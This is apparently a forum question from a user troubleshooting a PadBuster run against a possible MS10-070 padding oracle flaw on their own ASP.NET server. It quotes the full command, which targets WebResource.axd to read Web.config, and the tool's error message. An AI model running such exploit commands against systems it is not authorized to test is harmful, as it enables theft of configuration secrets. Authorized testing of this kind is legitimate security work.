After a small nikto scan I found a potential MS10-070 vulnerability on my server and while testing for the padding attack on the Padbuster tool, and after watching some exploits on youtube, I always receive this error which gets me confused about any misuse of the parameters. Here's the command:

./padBusterdotnet.pl http://xx.xx.xx.xx:xxxx/Login.aspx/WebResource.axd?d=xxxxxxxxxxxxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxx -plaintext "|||~/Web.config" 16

the x numbers is real and I left the underscore sign which was present on the link of the script in the web source page.

error code:

ERROR: All of the responses were identical.

Double check the Block Size and try again.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.